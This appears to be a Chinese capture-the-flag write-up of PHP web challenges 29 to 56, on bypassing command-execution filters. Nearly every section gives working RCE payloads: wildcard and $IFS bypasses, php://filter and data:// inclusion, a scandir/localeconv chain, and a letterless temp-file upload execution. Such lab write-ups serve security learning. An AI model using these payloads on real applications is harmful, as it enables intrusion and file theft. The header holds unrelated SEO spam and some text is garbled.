建个网站用多少钱,多少钱网站设计,百度网址大全官方网站,python nginx做网站29-35
Web29
代码利用正则匹配过滤了flag#xff0c;后面加了/i所以不区分大小写。 可以利用通配符绕过
匹配任何字符串#xff0f;文本#xff0c;包括空字符串#xff1b;*代表任意字符#xff08;0个或多个#xff09; ls file * ? 匹配任何一个字符#xff08;不…29-35
Web29
代码利用正则匹配过滤了flag后面加了/i所以不区分大小写。 可以利用通配符绕过
匹配任何字符串文本包括空字符串*代表任意字符0个或多个 ls file * ? 匹配任何一个字符不在括号内时?代表任意1个字符 ls file 0 [abcd] 匹配abcd中任何一个字符 [a-z] 表示范围a到z表示范围的意思 []匹配中括号中任意一个字符 ls file 0
?csystem(cat f*);//glob1
?csystem(cat f?ag.php);//glob2
?csystem(cat f\lag.php);//转义字符实现绕过
?csystem(cat flag.php);
?ceval($_GET[1]);1system(cat flag.php); //马中马嵌套过滤
Web30
和上一题差不多就是多了system和php的过滤system用passthru代替即可。
?cpassthru(cat fla?.p?p); Web31
这题多了cat、空格、单引号、逗号的过滤。 cat代替命令 (1)more:一页一页的显示档案内容
(2)less:与 more 类似但是比 more 更好的是他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl显示的时候顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器这个也可以查看
(9)vim:一种编辑器这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
空格代替,,%20(space),%09(tab),$IFS$9, I F S , {IFS},IFS,IFS
?cpassthru(more%09fla*);
Web32
这题过滤多了 ; 和 ( 。分号我们可以用 ? 代替因为php中最后一句代码可以不用加 但是 ( 被过滤了也就意味着不能用命令执行函数了因为命令执行函数都要使用到括号。 这里我们可以使用文件包含函数如include、require、include_once、require_once、highlight_file、show_source、file_get_contents、fopen、file、readfilePHP中文件包含函数可以不用使用括号。
payload如下解释一下啥意思使用include函数包含参数1而参数1是通过get获取的flag.php。
php:///filter是 PHP 中用于数据流处理的流封装协议之一它允许你在读取或写入文件时通过指定的过滤器对数据进行处理。
readconvert.base64-encode这部分指定了过滤器类型为读取read操作并且使用convert.base64-encode过滤器对数据进行 Base64 编码。Base64 编码是一种将二进制数据转换为 ASCII 字符串的方法常用于在需要文本表示二进制数据的场合。
resource这部分后面应该跟上你想要读取并编码的文件路径
?cinclude%0a$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php
返回的数据是base64编码拿去解码即可。 Web33
和上一题并无啥区别多了双引号的过滤但是我们上一题的poyload并无用到双引号所以直接套用上一题的payload即可。
?cinclude%0a$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php Web34
观察了一下只是多了冒号的过滤上一题的payload我们没有用到冒号所以继续套用即可。
?cinclude%0a$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php Web35
过滤多了左尖括号和等于号无所谓依旧套用payload即可。
?cinclude%0a$_GET[1]?1php://filter/readconvert.base64-encode/resourceflag.php 36-40
Web36
这题过滤了0-9数字我还想这个%0a改用什么代替呢一查原来include函数不需要空格也行那不就好办了吗直接套用web35的payload即可去掉%0a把参数1改为字母就行。
?cinclude$_GET[a]?aphp://filter/readconvert.base64-encode/resourceflag.php Web37
这题是通过C传参接着使用include包含C也就是把C的文件内容显示到页面上面但是过滤了flag。我们可以用data伪协议伪协议中的data://可以让用户来控制输入流当它与包含函数结合时用户输入的data://流会被当作php文件执行也就是说我们可以通过data伪协议造成rce。
data://协议用法
data://text/plain,
data://text/plain;base64,payload
?cdata://text/plain,?php system(cat f*)?
Web38
这题多了对php的过滤直接套用上一题的payload坑定是不行了查了一下原来在PHP中居然可以使用短标签 代替php而且php不是必须的可以去掉逆天了。
?cdata://text/plain,?system(cat f*)? Web39
这题没啥难度就是拼接了个php问题不大直接套用上一题的payload即可。
?cdata://text/plain,?system(cat f*)? Web40
这题难度就上来了可以看到几乎把所有的字符都过滤只留下一个英文的括号。 这题要使用很多函数我们先来了解一下。
print_r()函数不用多说函数用于打印变量作用对象是变量。
scandir()函数函数会扫描这个目录并返回一个包含目录中所有文件和目录名的数组也就是说scandir()会列出当前目录下的文件。
那么我们可以使用print_r(scandir(.))来列出当前目录下的所有文件并且打印在web页面。但是单引号和小数点都被过滤了我们这里要找其他的函数来代替。
通过查找我们得知
localeconv():返回包含本地数字及货币信息格式的数组其中数组中的第一个为点号(.) 那不妨这样子想如果我们能找到一个函数截取localeconv()的值使其只返回第一个值那我们不就得到小数点了吗
pos() 和current() 函数返回数组中的当前元素单元,默认取第一个值。 此时我们可以打印出当前目录下的文件名无需单引号也行好像。
?cprint_r(scandir(pos(localeconv()))); OK现在的问题是怎么读取文件里面的内容呢通过查阅得知
next():函数将内部指针指向数组中的下一个元素并输出。
但是通过我们刚刚列出来的数组得知目前的顺序是 ...flag.phpindex.php那我们直接把它们的顺序调换不就刚刚好吗也就是index.phpflag.php...那么此时next()函数指向的下一个刚好是flag.php。
通过查找
array_reverse()数组逆序将文件目录反转。
此时我们便可以构造payload。
?cprint_r(next(array_reverse(scandir(current(localeconv())))));
但依旧不行因为print_r函数打印的是变量而我们要输出的是文件于是我们这里就只能用show_source或者highlight_file。
?cshow_source(next(array_reverse(scandir(current(localeconv()))))); 41-45
Web41
没复现出来
Web42
这题会对我们输入的参数拼接一个重定向解释一下 代表重定向到哪里 /dev/null 代表空设备文件 2 表示stderr标准错误 表示等同于的意思21表示2的输出重定向等同于1 1 表示stdout标准输出系统默认值是1所以/dev/null等同于 1/dev/null 因此/dev/null 21 也可以写成1 /dev/null 2 1
1 /dev/null首先表示标准输出重定向到空设备文件也就是不输出任何信息到终端不显示任1何信息。 2 1接着标准错误输出重定向到标准输出因为之前标准输出已经重定向到了空设备文件所以标准错误输出也重定向到空设备文件。 所以我们直接截断后面的语句即可。
?ccat flag.php%0a
?ccat flag.php||
?ccat flag.php%26
?ccat flag.php%26%26
?ccat flag.php;Web43
和上题目一摸一样的只不过是多了cat的过滤我们直接换成more即可。 Web44
多了flag的过滤用我们上面说过的正则绕过即可。
?cmore%20fla*|| Web45
这题多了分号和空格的过滤。我们直接用%09代替空格即可
?cmore%09fla*|| 46-50
Web46
过滤了数字和*但是%09还能用。
?cmore%09fl?g.php|| Web47
这题对好几个查看flag的命令都做了过滤但是没有过滤tac。
?ctac%09fl?g.php|| Web48
依旧没有过滤tac直接套用上一题的payload即可。 Web49
还是上一题的payload Web50
这题多了对%过滤也就是说%09不能用了那我们用去代替空格即可奇怪的是用?通配符不知道为啥不行。
ctacfl?g.php||
要用 才行对php来说这是flag而不是flag关键字不会匹配上但是对于linux系统来说cat /flag等效于cat /flag。
ctacflag.php|| 51-55
Web51
这题多了tac的过滤用nl命令代替即可。
cnlflag.php|| Web52
这题多了尖括号的过滤。 一开始直接查看flag发现不对说明真正的flag文件不在这个目录。
cnl${IFS}flag.php|| 看一下根目录发现根目录有个flag
cls${IFS}/|| 直接查看根目录的flag即可。
?cnl${IFS}/flag||
Web53
没啥好讲的
cnl${IFS}flag.php Web54
这题过滤了很多东西flag不能用 * 或者 来绕过了nl也被过滤了但是我们可以用uniq代替。
cuniq${IFS}f???.php Web55
过滤了字母但是没有过滤数字可以用base64编码相当于调用/bin目录下的base64编码程序对flag.php进行编码输出
c/???/????64%20????.???
等同于c/bin/base64 flag.php Web46
这题的难度也是直线上升好吧可以看到数字和字母都过滤了还有一些特殊符号也是过滤掉了。 但是没有过滤小数点在linux中以 . /file 这样的方式来执行文件的话file是不需要有x权限的而且会用bash去执行file中的命令。那么我们如果上传一个可控文件再往里面写入一个命令那么不就是可以rce了吗。
这篇文章写的很好可以看一下。
无字母数字webshell之提高篇 | 离别歌
那么我们该如何去表示出我们的文件因为过滤了字母。在PHP上传的临时文件包含大写字母。那么答案就呼之欲出了我们只要找到一个可以表示“大写字母”的glob通配符就能精准找到我们要执行的文件。 ?c.%20/???/????????[-[]
先构造一个上传页面。
!DOCTYPE html
html langen
headmeta charsetUTF-8meta nameviewport contentwidthdevice-width, initial-scale1.0titlePOST数据包POC/title
/head
body
form actionhttp://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/ methodpost enctypemultipart/form-data
!--链接是当前打开的题目链接--label forfile文件名/labelinput typefile namefile idfilebrinput typesubmit namesubmit value提交
/form
/body
/html抓包进行修改。 往文件中添加命令。
#!/bin/sh
ls读取flag如果发包没有回显flag多发几次即可。